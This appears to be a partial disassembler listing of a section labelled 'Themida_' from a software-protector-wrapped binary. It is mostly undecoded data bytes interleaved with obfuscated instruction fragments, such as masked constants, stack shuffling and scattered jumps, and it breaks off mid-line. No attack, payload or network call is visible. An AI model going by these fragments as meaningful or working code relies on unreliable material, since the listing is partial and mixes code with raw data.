0DE03E900h, 0D001FFFFh, 521D8E05h, 8286814h, 2C890000h dd 1F80BD24h, 0E5C1512Dh, 0D6F58107h, 0C15D1873h, 0C58103E5h dd 0F118C676h, 5A5DE829h, 74FCB951h, 0E1C1482Ah, 20E98108h dd 830D5029h, 148904ECh, 0BA24h, 8FE90000h, 0B300006Dh dd 6883045Eh, 7447h, 0B3241C89h, 80D3F618h, 0EB801BF3h dd 0E2F3804Ah, 0FFCDB5E9h, 2CD828FFh, 20D3E9D4h, 0C4810000h dd 4, 405h, 40500h, 35E90000h, 56FFFFD0h, 0BF57E689h, 4 dd 3C8BFE01h, 4DDFE924h, 535C0000h, 490557BBh, 5BDF2150h dd 6572F781h, 0FB297E8Ch, 81C3295Fh, 8C6162C3h, 0E9008F6Eh dd 0FFFFC407h, 8B240C87h, 0F662424h, 9C2404B3h, 0FFC3F6E9h dd 4C483FFh, 37A4E9h, 0BA525900h, 86A4245h, 0CEC7E942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588092: ; CODE XREF: Themida_:0058D0F6j xor ebx, ebp pop ebp add eax, ebx pop ebx jmp loc_587B1F ; --------------------------------------------------------------------------- db 81h, 0F7h, 8Ah dd 8162E451h, 4ECh, 241C8900h, 396A68BBh, 0C3EB813Eh, 0C139F139h dd 0A7E907EBh, 0C1000065h, 0A5E906E5h, 5B00006Bh, 31240433h dd 4332404h, 24248B24h, 9C242CD3h, 0FFC396E9h, 43ED81FFh dd 52FDB7CCh, 0FFF9E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5880E9: ; CODE XREF: Themida_:0058637Bj add edx, 0F0548C7h add edx, esi sub edx, 0F0548C7h pop esi add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] mov eax, [esp] add esp, 4 push 61D7h mov [esp], ebx push ecx push ebp mov ebp, 19D562C0h mov ecx, 547A6650h xor ecx, ebp jmp loc_585E69 ; --------------------------------------------------------------------------- db 2Dh dd 63321A6Ah, 0FFFF9AE9h, 85E95BFFh, 81000034h, 8D0C76C1h dd 0C183583Eh, 240C8704h, 0F724248Bh, 0E68956F9h, 4C681h dd 0EE810000h, 4, 0FFEC65E9h db 0FFh byte_588159 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005843D4o aHs2 db '$h˜2',0 align 2 dw 3489h dd 815E5424h, 4C6h, 0D6E95100h, 53000080h, 3C3568h, 24248900h dd 4240483h, 2396E9h, 79BA5200h, 0BF191E74h, 3B208B34h dd 815AD729h, 696AF3F7h, 8AEF816Eh, 89F68361h, 0F3815FFBh dd 26C75D4Eh, 0FFD050E9h, 4EA81FFh, 87000000h, 0AFE92414h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5881BB: ; CODE XREF: Themida_:0058449Ej mov ecx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_5886BE ; --------------------------------------------------------------------------- db 28h, 0C8h, 8Bh dd 0C481240Ch, 4, 2858C188h, 0C82058E1h db 66h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx jmp loc_588819 ; --------------------------------------------------------------------------- loc_5881F9: ; CODE XREF: Themida_:00585E44j mov esi, 0DDA9F764h sub eax, esi pop esi jmp loc_58ED83 ; --------------------------------------------------------------------------- dw 0C580h dd 0EDC058EDh, 3FED8003h, 81E78957h, 4C7h, 4EF8300h, 2F36E9h dd 9AC78000h, 0F828A804h, 2269E9h db 0 ; --------------------------------------------------------------------------- loc_58822D: ; CODE XREF: Themida_:00585322j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] xor ecx, ebp push dword ptr [esp] jmp loc_587BEE ; --------------------------------------------------------------------------- dw 2966h dd 1C8B66D8h, 0E0895024h, 405h, 59FEE900h, 0CA810000h dd 45C6FC6h, 7645E950h db 2 dup(0) aNhd db 'hd,',0 ; DATA XREF: Themida_:005843CCo align 4 dd 0BA241489h, 2F7E68BBh, 4278E9h, 4C48100h, 59000000h dd 4EC81h, 6E90000h, 8BFFFFCEh, 0C481241Ch, 4, 4244429h dd 24042958h, 3BDF68h, 24048900h, 0AB52F7B8h, 40BF577Bh dd 1498A45h, 0E908247Ch, 7A82h ; --------------------------------------------------------------------------- loc_5882B8: ; CODE XREF: Themida_:00589E8Dj pop eax mov ecx, [esp] add esp, 4 loc_5882C2: ; CODE XREF: Themida_:0058E742j push ebp mov ebp, ebx jmp loc_58F8C1 ; --------------------------------------------------------------------------- dw 0ED80h dd 85F580FAh, 5B59E828h, 1604E9h db 0 ; --------------------------------------------------------------------------- loc_5882D9: ; CODE XREF: Themida_:00590568j xor esi, edi push edi xchg ecx, [esp] not ecx xchg ecx, [esp] pop edi xchg edi, esi and esi, 50B15A0Fh sub esi, 1200h mov edx, esi pop esi push edx xor dword ptr [esp], 4BF1828h pop ecx xor ecx, 4BF1828h jmp loc_586521 ; --------------------------------------------------------------------------- dw 4C29h dd 6C810824h, 4E0D0824h, 0CAE90F85h, 83FFFFDAh, 71E904EEh dd 56000078h, 4BEh, 583EE900h, 59660000h, 519868h, 0F4CAE900h dd 0C181FFFFh, 725148D8h, 9817F181h, 0CF31AA82h, 0FFFB06E9h dd 5E9C0FFh, 80B7E980h, 0CF88D6C1h, 0F6DFF659h, 9FC780D7h dd 0E9F98851h, 0FFFFF7FDh ; --------------------------------------------------------------------------- loc_588368: ; CODE XREF: Themida_:00586992j push 7147h mov [esp], ebx push 444Ch mov [esp], edi mov edi, 74A226A6h jmp loc_585706 ; --------------------------------------------------------------------------- loc_588382: ; CODE XREF: Themida_:0058F0DEj add esp, 4 add bl, cl pop ecx add bl, al push ecx mov cl, 0E0h jmp loc_584857 ; --------------------------------------------------------------------------- loc_588392: ; CODE XREF: Themida_:00585C8Cj sub esp, 4 mov [esp], ecx jmp loc_58B861 ; --------------------------------------------------------------------------- loc_5883A0: ; CODE XREF: Themida_:005849F5j push ecx push ebp mov ebp, 11333B91h mov ecx, 20C46A09h xor ecx, ebp pop ebp or edi, ecx pop ecx shl edi, 1 sub edi, 102070Ah and edi, 182B300Dh sub edi, 0E4F3F3A2h add ecx, edi mov edi, [esp] add esp, 4 push ebp push 711614CFh mov ebp, [esp] jmp loc_587878 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 0C1BF5704h, 0E94E3931h, 0FFFFC2E2h, 7C3D68h dd 24248900h, 4240481h, 0E9000000h, 0FFFFF376h ; --------------------------------------------------------------------------- loc_588404: ; CODE XREF: Themida_:0058A8DBj mov eax, [esp] push edx mov edx, esp jmp loc_589C18 ; --------------------------------------------------------------------------- byte_58840F db 0FFh ; DATA XREF: Themida_:005841C4o dd 669D1C77h, 241CD359h, 5A8E99Ch, 0EA810000h, 786B36AEh dd 0CF0E9h db 0 ; --------------------------------------------------------------------------- loc_588429: ; CODE XREF: Themida_:0058C069j mov ecx, 2C546457h push esi mov esi, 4B655FE8h jmp loc_58736D ; --------------------------------------------------------------------------- db 81h, 0F1h, 0B9h dd 5291C39Ch, 0B5FCC3BAh, 8BD10128h, 0C4832414h, 0E9C80104h dd 0FFFFFF8Bh, 0BF243C89h, 27017490h, 0FFFFEF81h, 70E9FFFFh dd 5FFFFC8h, 455F2E8Ah, 0E9581889h, 65E6h, 958C131h, 34FF1C4Fh dd 0C4835924h, 0BFEDE904h db 2 dup(0FFh) word_588486 dw 34FFh ; DATA XREF: Themida_:00584230o dd 24048B24h, 81E78957h, 4C7h, 0B6E95500h, 10h, 4DC380C3h dd 22A2E9h, 242C8B00h, 4C481h, 25E90000h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5884B3: ; CODE XREF: Themida_:0058E276j mov ecx, esp add ecx, 4 push edx jmp loc_58CB48 ; --------------------------------------------------------------------------- db 54h, 0FFh, 34h aHh6 db '$]hH6',0 dw 0E900h dd 0FFFFC48Dh, 592434FFh, 0E904C483h, 7ED0h ; --------------------------------------------------------------------------- loc_5884DC: ; CODE XREF: Themida_:00587DFDj mov ecx, esp add ecx, 4 jmp loc_58E3B7 ; --------------------------------------------------------------------------- loc_5884E9: ; CODE XREF: Themida_:00584CD2j mov edi, 0AC7159A1h add ecx, edi pop edi jmp loc_58E395 ; --------------------------------------------------------------------------- dw 5455h dd 4C5815Dh, 0E9000000h, 0FFFFD69Dh, 2CC8005Bh, 0C8B6658h dd 0E0895024h, 405h, 20500h, 4870000h, 9A685C24h, 0E9000040h dd 6FCh ; --------------------------------------------------------------------------- loc_588528: ; CODE XREF: Themida_:0058EA2Aj push ebx mov ebx, 6F10444Fh or ecx, ebx pop ebx push edi mov edi, 90CEBB01h add ecx, edi pop edi mov [edi+20h], ecx pop ecx loc_58853E: ; CODE XREF: Themida_:0058B9DFj ; Themida_:loc_58C803j push dword ptr [esp] pop ebx jmp loc_5868F4 ; --------------------------------------------------------------------------- db 9 dd 0EB815FFBh, 0F6DCDD72h, 0FFF499E9h, 88C1B4FFh, 3649E9E3h dd 0E5280000h, 0E921ED80h, 0FFFFFC9Eh ; --------------------------------------------------------------------------- loc_588568: ; CODE XREF: Themida_:00589BB6j push ebx push ebp jmp loc_58526A ; --------------------------------------------------------------------------- db 0C1h dd 0D2F705E2h, 0D6E9D2F7h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58857B: ; CODE XREF: Themida_:0058457Ej mov esi, 5AD425FFh neg esi dec esi shr esi, 8 xor esi, 5B23008Ah push ecx mov ecx, 5B862B4Ch sub esi, ecx jmp loc_58F054 ; --------------------------------------------------------------------------- loc_588599: ; CODE XREF: Themida_:005855D5j pop edi push esi push 732E63E8h pop esi jmp loc_58E246 ; --------------------------------------------------------------------------- dw 0EB81h dd 66F967D7h, 0C381D329h, 66F967D7h, 30FF665Ah, 0FFBEB6E9h dd 4BAFFh, 0D1E90000h, 0BD000018h, 70564BCh, 0FFFFED81h dd 0DDF7FFFFh, 43A3F581h, 515229AFh, 6B7A2CB9h, 0B8C1814Dh dd 0E97BFC4Fh, 17FBh ; --------------------------------------------------------------------------- loc_5885EC: ; CODE XREF: Themida_:00584FF2j mov ecx, 4 sub eax, 3F8E649Ah jmp loc_58BED4 ; --------------------------------------------------------------------------- db 55h dd 0C5815D54h, 4, 8704C583h, 335C242Ch, 1C31241Ch, 241C3324h dd 6624248Bh, 0E924048Fh, 0FFFFBE53h, 8324148Bh, 0EF8104C4h dd 0EE72DD33h, 815FF901h, 4ECh, 243C8900h, 2BFh, 8BF90100h dd 0F6E9243Ch, 51FFFFC6h, 0FFED6EE9h db 0FFh byte_58864D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00584270o dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 5763E9h db 0 ; --------------------------------------------------------------------------- loc_588669: ; CODE XREF: Themida_:0058F3FCj add eax, esi add eax, 35390D72h mov esi, [esp] add esp, 4 and ecx, eax push dword ptr [esp] pop eax jmp loc_58EA24 ; --------------------------------------------------------------------------- aQsM db 'QéìM',0 dw 3000h aS@0 db 'Ëé@0',0 align 2 loc_58868E: ; CODE XREF: Themida_:00590519j pop edi pop dword ptr [esp] pop esp xchg ebp, [esp] pop esp dec byte ptr [esp] pushf jmp loc_58A56A ; --------------------------------------------------------------------------- loc_5886A0: ; CODE XREF: Themida_:0058EB16j mov [esp], ebx push dword ptr [esp] jmp loc_58751C ; --------------------------------------------------------------------------- loc_5886AB: ; CODE XREF: Themida_:005861AAj pop esp mov [esp], edx push ecx mov ecx, 70037A5Ah xchg ebp, ecx not ebp jmp loc_58AAF3 ; --------------------------------------------------------------------------- loc_5886BE: ; CODE XREF: Themida_:005881C4j add ecx, 32ED2353h shl ecx, 1 dec ecx jmp loc_58EF54 ; --------------------------------------------------------------------------- dd 1D94B951h, 0E9812184h, 2C9F3FA2h, 2212C181h, 0C8890B1Bh dd 51BD5559h, 1266D20h, 0EE815DEEh, 249738FEh, 0B951C601h dd 5AC85CA4h, 0B91E9h, 8BFD3100h, 8951243Ch, 4C181E1h dd 83000000h, 0C8704C1h, 5A555C24h, 5D2434FFh, 4C481h dd 5EE90000h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588723: ; CODE XREF: Themida_:0058A565j xor edx, [esp] jmp loc_58564B ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 18E7E904h, 34870000h, 0C5815C24h, 4, 694768h dd 4C5BE900h, 535F0000h, 0FFC693E9h, 46EB81FFh, 0B923EFBDh dd 46EB4F34h, 0C981D9F7h, 7173192Fh, 6671C181h, 0E9810B02h dd 1, 7630C981h, 0AAE9317Fh, 83000063h, 148704C2h, 0EB815C24h dd 4, 2474FF53h, 241C8B04h, 8F04C483h, 248B2404h, 24148924h dd 37E99C50h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5887A3: ; CODE XREF: Themida_:0058CF1Aj mov ecx, ebx pop ebx and eax, ecx push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shr eax, 0Bh xor ecx, eax push esi push ebx mov ebx, esp jmp loc_586D1E ; --------------------------------------------------------------------------- dw 0F281h dd 2E3D2EA7h, 15AD601h, 3C335EF7h, 243C3124h, 5C243C33h dd 309FE9h, 0FFDA3100h, 835B2434h, 0D62904C4h, 4EC815Ah dd 89000000h, 74FF2434h, 0D6E90424h, 3300002Bh, 0C31240Ch dd 240C3324h, 2D8EE9h, 59CA0100h, 0E72E9h db 0 ; --------------------------------------------------------------------------- loc_588819: ; CODE XREF: Themida_:005881F4j mov edx, esp add edx, 4 push 91h mov [esp], ebx jmp loc_587CFE ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0C2810000h, 4, 5D82E9h, 41C38000h, 0FFD366E9h dd 3A00B9FFh, 0CF2939E9h, 77B8E9h db 0 byte_588855 db 50h, 54h, 0E9h ; DATA XREF: Themida_:00584244o dd 0FFFFE25Ch ; --------------------------------------------------------------------------- loc_58885C: ; CODE XREF: Themida_:0058F6E2j push esi mov esi, 4E0E4D23h sub esi, 21A9213Ah xor esi, 44FE7E23h push 57B2h jmp loc_58CB10 ; --------------------------------------------------------------------------- loc_588878: ; CODE XREF: Themida_:00584763j pop ecx xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- aASi db 'aÃéI,',0 align 4 dd 5102E983h, 42474FFh, 24048F59h, 489665Ch, 0BBD5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58889E: ; CODE XREF: Themida_:00585ADDj pop esi and eax, ebp jmp loc_59042C ; --------------------------------------------------------------------------- dw 0C8E9h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5888AB: ; CODE XREF: Themida_:0058BF38j sub edx, 29366A1Dh shl edx, 7 sub edx, 99CF93EDh or ecx, edx pop edx sub ecx, 27021DF0h xor edx, ecx pop ecx xor eax, edx mov edx, [esp] add esp, 4 jmp loc_58BE96 ; --------------------------------------------------------------------------- dw 0FE88h dd 0F6DEF65Bh, 0FB151DEh, 0C0F0E980h, 0E9C005E9h, 3EF18006h dd 2C59CE30h, 0EA23E9B9h, 0F681FFFFh, 0ECF9A91Dh, 295EF301h dd 7D2CE9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_588906: ; CODE XREF: Themida_:00584759j mov ecx, 1 mov edi, ecx jmp loc_584DAF ; --------------------------------------------------------------------------- loc_588912: ; CODE XREF: Themida_:0058E292j xor [esp], edx push edx not dword ptr [esp] mov edx, [esp] push ebx jmp loc_585949 ; --------------------------------------------------------------------------- dw 0C142h dd 0F28104E2h, 0B8877322h, 0EE3B7E2Dh, 5D00175h, 75EE3B7Eh dd 8124148Bh, 4C4h, 2DD80100h, 476C2DA2h, 6E23E955h, 54530000h dd 7FBE565Bh, 0E9352E15h, 55AEh, 5AD1015Bh, 0E981D101h dd 27CC1294h, 0CE1E9h db 0 ; --------------------------------------------------------------------------- loc_58896D: ; CODE XREF: Themida_:00586D2Aj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edi jmp loc_588E8B ; --------------------------------------------------------------------------- db 81h dd 706105EFh, 0C5BD5519h, 4D07277Ch, 57E9DDF7h, 0FFFFFFEEh dd 565F2434h, 0C681E689h, 4, 4C681h, 0EC830000h, 6B29E904h dd 3C890000h, 4315E924h, 0C4830000h, 195F6804h, 14890000h dd 0FBF7E924h, 0A8E9FFFFh, 89FFFFBAh, 0B850242Ch, 4, 158C589h dd 34875DEEh, 0BC92E924h, 0E952FFFFh, 7453h, 33240431h dd 248B2404h, 3B5AE924h, 0FFB70000h, 5B66FD00h, 0C0B3E580h dd 0F58008EDh, 3AE952F9h, 1000049h, 0D8315FFBh, 0E92434FFh dd 27Ch, 0E388F488h, 88D3F658h, 27E3E9DEh db 2 dup(0) word_588A26 dw 8B66h ; DATA XREF: Themida_:00584378o dd 54572404h, 79BB685Fh, 14890000h, 0BA69E924h, 0C8BFFFFh dd 4C48124h, 0E9000000h, 340h ; --------------------------------------------------------------------------- loc_588A48: ; CODE XREF: Themida_:0058ED85j pop eax add ebp, 2 jmp loc_589B7E ; --------------------------------------------------------------------------- db 80h, 0F1h, 0DAh dd 87046204h, 0C8281D04h, 872C1D2Ch, 0C5E9622Ch db 72h, 2 dup(0) byte_588A67 db 0F7h ; DATA XREF: Themida_:00584268o dd 0E99C241Ch, 0FFFFBA03h ; --------------------------------------------------------------------------- loc_588A70: ; CODE XREF: Themida_:0058C77Fj mov ecx, [esp] add esp, 4 jmp loc_58E81D ; --------------------------------------------------------------------------- word_588A7E dw 4ACh ; DATA XREF: Themida_:005843A0o dd 0E9D4048Fh, 0FFFFF591h ; --------------------------------------------------------------------------- loc_588A88: ; CODE XREF: Themida_:00586AA6j push esi jmp loc_5864A6 ; --------------------------------------------------------------------------- loc_588A8E: ; CODE XREF: Themida_:0058C977j add ecx, 4 push ebp mov ebp, 4 sub ecx, ebp pop ebp xchg ecx, [esp] pop esp mov [esp], edx mov edx, 100h jmp loc_585A28 ; --------------------------------------------------------------------------- loc_588AAE: ; CODE XREF: Themida_:00589B86j push small 7555h mov [esp], cx jmp loc_584473 ; --------------------------------------------------------------------------- db 56h dd 4BEh, 4B97E900h, 3C890000h, 0F3BB5324h, 8770486Eh, 525342D3h dd 0BF575A5Bh, 3DBE0236h, 9FB4EF81h, 0FB31CDBBh, 2042E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_588AEA: ; CODE XREF: Themida_:00587257j push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_5873C6 ; --------------------------------------------------------------------------- db 4 dd 0ED2CD5h, 2CED04C8h, 0EC8359D5h, 24148904h, 0E6807EB6h dd 39CE80B7h, 8853CE86h, 86EF86CFh, 0C314E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588B2E: ; CODE XREF: Themida_:005890CFj and eax, edx push dword ptr [esp] pop edx sub esp, 4 mov [esp], esi jmp loc_58DF7E ; --------------------------------------------------------------------------- db 30h dd 0E28AE9EFh db 2 dup(0FFh) word_588B46 dw 83ADh ; DATA XREF: Themida_:005842F0o dd 0F00207Fh, 0E9F84h, 2EC68100h, 810A2846h, 0D66E1CC6h dd 0F0C6814Ah, 570CCF05h, 35B9E9h db 0 byte_588B69 db 66h, 8Fh, 2 ; DATA XREF: Themida_:005842B0o dd 0FFB902E9h db 0FFh ; --------------------------------------------------------------------------- loc_588B71: ; CODE XREF: Themida_:00589A76j add esp, 4 push edx push esp pop edx jmp loc_58ED0B ; --------------------------------------------------------------------------- db 8Fh dd 9C308100h, 0FF093503h, 25E92434h, 88FFFFD3h, 58C388F0h dd 27D6E9h db 0 ; --------------------------------------------------------------------------- loc_588B99: ; CODE XREF: Themida_:005872ADj push 709Fh mov [esp], edi push 553Ch mov [esp], ecx jmp loc_58DE2C ; --------------------------------------------------------------------------- loc_588BAE: ; CODE XREF: Themida_:005859DBj sub esp, 4 mov [esp], eax jmp loc_58D015 ; --------------------------------------------------------------------------- dd 0E901EE83h, 2213h ; --------------------------------------------------------------------------- loc_588BC4: ; CODE XREF: Themida_:0058A84Cj pop esi push dword ptr [esp] jmp loc_58652C ; --------------------------------------------------------------------------- loc_588BCD: ; CODE XREF: Themida_:00588D49j add esp, 4 jmp loc_584E65 ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 89000000h, 0F00159CEh, 2404335Eh, 33240431h, 248B2404h dd 2424D324h, 16AAE9h, 32906800h, 48B55F8h, 4C48324h, 6804E8C1h dd 3E45h, 52A3E9h, 24048900h, 40E901B0h, 50FFFFD8h, 0B6B27EB4h dd 0E95CF280h, 7814h, 0B2241489h, 6491683Eh, 0DAE90000h dd 80FFFFFFh, 44E9F6EDh, 5E000079h, 4C681h, 0C6830000h dd 24348704h, 0F24248Bh, 9C2404A3h, 0FFB81EE9h db 0FFh ; --------------------------------------------------------------------------- loc_588C55: ; CODE XREF: Themida_:0058CECDj push eax jmp loc_5849ED ; --------------------------------------------------------------------------- db 9 dd 0BA525BDDh, 0E0D1FD3h, 94C28142h, 816B192Fh, 0B3D2B5C2h dd 0AFED8188h, 17C2D3Ah, 0AFC581D5h, 5A7C2D3Ah, 0D6CE981h dd 0E9013081h, 0D6CC181h, 0E95D3081h, 0FFFFD2A2h, 0E954505Bh dd 763Dh, 8124048Bh, 4C4h, 24148B00h, 4C481h, 51660000h dd 0FFFFB966h, 66CE0166h, 0D6F76659h, 0C1664666h, 0F76603EEh dd 0C68166D6h, 3166FEC4h, 0E9525EF0h, 50EFh, 0FD0821BFh dd 42102D1Dh, 0F82954A9h, 6862E9h, 48F5400h, 4685124h dd 59000000h, 4244C01h, 0C2815A59h, 4, 7356E9h, 4BD00h dd 0C3810000h, 51F81789h, 92BE9h, 0E9D8F600h, 0FFFFDFBAh dd 0FFB756E9h, 0C5E955FFh, 5DFFFFDEh, 0EE85E953h, 0EA89FFFFh dd 757EE95Dh db 2 dup(0) word_588D32 dw 8B66h ; DATA XREF: Themida_:0058439Co db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], eax mov eax, 4 add ebp, eax mov eax, [esp] jmp loc_588BCD ; --------------------------------------------------------------------------- loc_588D4E: ; CODE XREF: Themida_:0058578Ej push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 shr eax, 0Ch xor eax, ecx jmp loc_587F1C ; --------------------------------------------------------------------------- dw 1C8Bh dd 0E792E924h, 0CD89FFFFh, 76D9E9h db 0 byte_588D79 db 0ADh, 81h, 0ECh ; DATA XREF: Themida_:005843D8o dd 4, 0E9243C89h, 79Bh, 83240C8Bh, 0A9E904C4h, 8300000Ah dd 248904ECh, 24048124h, 4, 4C3815Bh, 81000000h, 4ECh dd 24148900h, 4BAh, 7FEB8100h, 123EF73h, 7FC381D3h, 0E923EF73h dd 7056h ; --------------------------------------------------------------------------- loc_588DC8: ; CODE XREF: Themida_:005869D3j add ebp, 4 sub ebp, 4 jmp loc_5862A6 ; --------------------------------------------------------------------------- dw 0B850h dd 55420D3Eh, 0FFD5E1E9h, 99B05FFh, 0C1483EA7h, 0EAE907E0h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_588DEF: ; CODE XREF: Themida_:0058ECADj add dword ptr [esp+4], 37DC565Ah add [esp+4], eax sub dword ptr [esp+4], 37DC565Ah sub dword ptr [esp+4], 3CEB3783h pop eax mov eax, [esp] add esp, 4 push ecx mov ecx, 6D3C614Ch jmp loc_5863B4 ; --------------------------------------------------------------------------- dd 0FCB5F181h, 0CE316E22h, 5EF00159h, 7EC968h, 243C8900h dd 4BFh, 0CEBA5200h, 14D444Bh, 0F8295AD0h, 0FFEAABE9h dd 6B5135FFh, 0E9815CBFh, 3E8D0C76h, 0D8E9C101h, 89FFFFF2h dd 4812424h, 424h, 24348B00h, 8104C483h, 4C6h, 73076800h dd 0C890000h, 2B924h, 0EE810000h, 22DC627Eh, 4BE9CE01h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_588E8B: ; CODE XREF: Themida_:0058897Aj mov edi, ebx push edi push ecx mov ecx, 1F747AB0h sub [esp+4], ecx pop ecx mov esi, [esp] add esp, 4 add esi, 1F747AB0h jmp loc_58C179 ; --------------------------------------------------------------------------- loc_588EAD: ; CODE XREF: Themida_:0058B0E0j pop edx pop ecx jmp loc_58D3ED ; --------------------------------------------------------------------------- loc_588EB4: ; CODE XREF: Themida_:00589098j mov dl, 9Ah sub al, dl pop edx add al, bh add al, 9Ah mov ebx, [esp] add esp, 4 jmp loc_586F59 ; --------------------------------------------------------------------------- loc_588EC8: ; CODE XREF: Themida_:00590559j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebx xor dword ptr [esp], 349B6407h pop esi xor esi, 349B6407h pop ebx and eax, esi push dword ptr [esp] jmp loc_58C3D5 ; --------------------------------------------------------------------------- loc_588EF6: ; CODE XREF: Themida_:00585D8Ej mov ebx, 2299E0A1h jmp loc_5894B2 ; --------------------------------------------------------------------------- dd 0CC001FB1h, 0DF4CE959h, 0EB81FFFFh, 0D4FA006Eh, 815BD901h dd 0A0D4BFE9h, 59CE01EBh, 2051EE81h, 5358266Dh, 0E76B2CBBh dd 0FC38177h, 81609F3Bh, 7959C7C3h, 5BDE0127h, 5C243487h dd 2424D366h, 0B52DE99Ch, 487FFFFh, 24E95C24h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588F4F: ; CODE XREF: Themida_:00586371j mov [esp], esp add dword ptr [esp], 4 jmp loc_5857D8 ; --------------------------------------------------------------------------- loc_588F5B: ; CODE XREF: Themida_:00590621j pop ebx jmp loc_58AF8B ; --------------------------------------------------------------------------- byte_588F61 db 8Bh, 4, 24h ; DATA XREF: Themida_:00584358o dd 815F5457h, 4C7h, 2D8FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_588F72: ; CODE XREF: Themida_:0058A193j pop ebp xor eax, ebp xor ebp, eax xor eax, ebp push 2DC2h mov [esp], esi push 1 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_58635D ; --------------------------------------------------------------------------- loc_588F97: ; CODE XREF: Themida_:00586266j sub edx, edi pop edi jmp loc_58EAD4 ; --------------------------------------------------------------------------- loc_588F9F: ; CODE XREF: Themida_:0058C8EAj mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] pop esp loc_588FB5: ; CODE XREF: Themida_:0058BF69j sub esp, 4 mov [esp], esi sub esp, 4 jmp loc_587B95 ; --------------------------------------------------------------------------- dw 0C483h dd 41850504h, 0C2E94267h, 0F6FFFFCFh, 0DD05E9DAh db 2 dup(0FFh) word_588FDA dw 34FFh ; DATA XREF: Themida_:0058422Co dd 2434FF24h, 4C4815Ah, 55000000h, 8904EC83h, 4832424h dd 0E95D0424h, 0FFFFC16Fh, 6824048Bh, 396Ch, 89243489h dd 6D7EE9E6h, 0E3C10000h, 64C38104h, 1173B45h, 0BE565BDDh dd 4, 127BB53h, 8AE901FBh, 89000073h, 5433E9CEh, 3C890000h dd 4BF24h, 0FE010000h, 0E9243C8Bh, 0FFFFD44Fh, 0E956E589h dd 18Dh dword_589048 dd 0E932FF64h, 0FFFFB423h; --------------------------------------------------------------------------- loc_589050: ; CODE XREF: Themida_:00586B18j pop ebp shr ebx, 7 push ecx mov ecx, 0FFFFFFFFh jmp loc_58B659 ; --------------------------------------------------------------------------- db 81h dd 0F63F85EAh, 81FA0141h, 0F63F85C2h, 243C8B41h, 815A5452h dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 8D5h, 405E089h dd 0E9000000h, 46A9h ; --------------------------------------------------------------------------- loc_589094: ; CODE XREF: Themida_:00587EB2j add bh, 8Ah push edx jmp loc_588EB4 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 173E9h, 80C6FE00h, 0F32887F6h, 53AAE9h, 0FE9DB700h dd 0C8B7E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5890BA: ; CODE XREF: Themida_:0058FCAFj mov ecx, 200h push ecx add dword ptr [esp], 725C104Ch pop edx sub edx, 725C104Ch pop ecx jmp loc_588B2E ; --------------------------------------------------------------------------- dd 0E95D5E55h, 0FFFFB95Eh, 0F7FD875Eh, 5D5755D7h, 9E9E9h dd 12F68100h, 1216202h, 0E9F1h, 815E0000h, 4C1h, 240C8700h dd 241C875Ch, 3024248Bh, 0E99C2404h, 0FFFFB363h dword_589110 dd 9C241CF6h, 0FFB35AE9h, 243C8BFFh, 8104C483h, 0E43D75EAh ; DATA XREF: Themida_:00584420o dd 41EA816Bh, 1676F58h, 41C281C2h, 0E9676F58h, 315Ch, 2C3815Ch dd 87000000h, 50E9241Ch, 81FFFFCFh, 5F3901C5h, 24148B40h dd 8104C483h, 4EDh, 0D5E8E900h, 0E981FFFFh, 0BB210765h dd 8959CE89h, 51E95EF7h, 1000060h, 0C38358C3h, 241C8702h dd 0FFBDE5E9h, 241431FFh, 8B241433h, 4892424h, 0B2E5E924h dd 0C581FFFFh, 4, 0E904C583h, 3760h, 0FFB2D2E9h, 2434FFFFh dd 56AEE9h, 2434FF00h, 4C48358h, 2706BE56h, 0F0293D77h dd 8324348Bh, 85E904C4h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5891C3: ; CODE XREF: Themida_:00584574j ; Themida_:0058726Dj ... sub esp, 4 mov [esp], ebx mov eax, [esp] push eax sub esp, 4 jmp loc_58D3DE ; --------------------------------------------------------------------------- aLiYsS db '¾«i<YéÛs',0 dw 8100h dd 4C7h, 243C8700h, 6624248Bh, 0F0B05052h, 5358C288h, 